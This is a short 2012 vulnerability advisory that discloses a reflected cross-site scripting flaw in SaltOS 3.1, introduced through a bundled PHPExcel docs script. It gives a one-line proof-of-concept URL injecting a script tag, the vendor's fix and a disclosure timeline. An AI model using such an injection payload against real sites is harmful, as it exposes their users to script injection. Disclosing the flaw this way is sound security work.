Advisory: SaltOS 3.1 Cross-Site Scripting vulnerability Advisory ID: SSCHADV2012-018 Author: Stefan Schurtz Affected Software: Successfully tested on SaltOS 3.1 r4908 Vendor URL: http://www.saltos.net Vendor Status: fixed ========================== Vulnerability Description ========================== SaltOS 3.1 is prone to a Cross-Site Scripting vulnerability, because of using PHPExcel 1.7.7 (latest version) ================== PoC-Exploit ================== http://[target]/SaltOS-3.1/user/lib/phpexcel/PHPExcel/Shared/JAMA/docs/download.php/ '><script>alert('xss')</script> ========= Solution ========= Unused directories (docs, examples and tests directories from the PHPExcel/Shared/JAMA directory) are removed. Update to the latest version (Fixed in the nightly build r5696 from 2012-08-14). ==================== Disclosure Timeline ==================== 13-Aug-2012 - developer informed 13-Aug-2012 - feedback from developer 14-Aug-2012 - fixed by developer ======== Credits ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References =========== http://www.darksecurity.de/advisories/2012/SSCHADV2012-018.txt